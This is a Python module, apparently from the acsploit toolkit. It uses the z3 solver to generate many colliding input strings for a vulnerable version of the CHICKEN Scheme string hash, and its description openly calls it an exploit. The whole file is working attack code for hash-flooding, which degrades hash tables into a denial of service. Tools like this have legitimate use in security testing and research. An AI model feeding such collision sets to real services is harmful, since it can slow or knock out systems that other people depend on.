import z3
from .z3_common import get_collisions
from acsploit.options import Options
import itertools

options = Options()
options.add_option('n_collisions', 10, 'Number of colliding strings to create')
options.add_option('n_substrings', 5, 'Number of substrings to create to will then be combined')
options.add_option('initial_key', 0, 'Initial key value')
options.add_option('hash_table_size', 0x3FFFFFFFFFFFFFFF, 'Size of target hash table')
options.add_option('target_type', 'preimage', 'Whether the target is an image (hash output) or preimage (hash input)',
                   ['image', 'preimage'])
options.add_option('target', 'hello', 'Image or preimage of desired hash value')

DESCRIPTION =  'Produces hash collisions for vulnerable version the chicken scheme string hash.' \
               '\n\n  ' \
               'The algorithm generates two sets of strings using z3; one that hash to the desired target and another that ' \
               'can be prepended to a string without changing the hash result. This approach is significantly ' \
               'faster than relying naively on z3 but will generate longer strings. It may require tuning of the ' \
               'parameters: if "n_substrings" is too large the exploit may run very slowly; too small and the output ' \
               'strings will be very long.'

NO_INPUT = True

def chicken_hash(bytes, m, r):
    return z3.URem(chicken_hash_xor(bytes, m, r), z3.BitVecVal(m, 64))

def chicken_hash_xor(bytes, m, r):
    key = z3.BitVecVal(r, 64)
    for byte in bytes:
        key ^= ((key << 6) + (z3.LShR(key, 2)) + z3.ZeroExt(56, byte))
    return key

def combine_strings(target_strings, r_strings, n_collisions):
    """Combines the r_strings with the target strings until the desired number of collisions is reached"""
    i = 0
    ret = target_strings.copy()
    while True:
        i = i + 1
        for s in itertools.product(r_strings, repeat=i):
            for t in target_strings:
                ret.append(''.join(s) + t)
                if len(ret) == n_collisions:
                    return ret

def run(output):
    """Generate hash collisions in two steps: 1) generate substrings with a hash of the target and a hash of zero and 2)
        combine the strings by incrementally increasing the number of zero strings prepended."""
    n_collisions = options['n_collisions']
    n_substrings = options['n_substrings']
    initial_key = options['initial_key']
    hash_table_size = options['hash_table_size']

    number_target_strings = n_substrings if n_collisions > n_substrings else n_collisions
    target_strings = get_collisions(chicken_hash, options['target'], options['target_type'], None,
                                    number_target_strings, hash_table_size, initial_key)

    if len(target_strings) == n_collisions:
        ret = target_strings
    else:
        r_strings = get_collisions(chicken_hash_xor, initial_key, 'image', None,
                                   n_substrings, hash_table_size, initial_key)
        ret = combine_strings(target_strings, r_strings, n_collisions)

    ret.sort()
    output.output(ret)
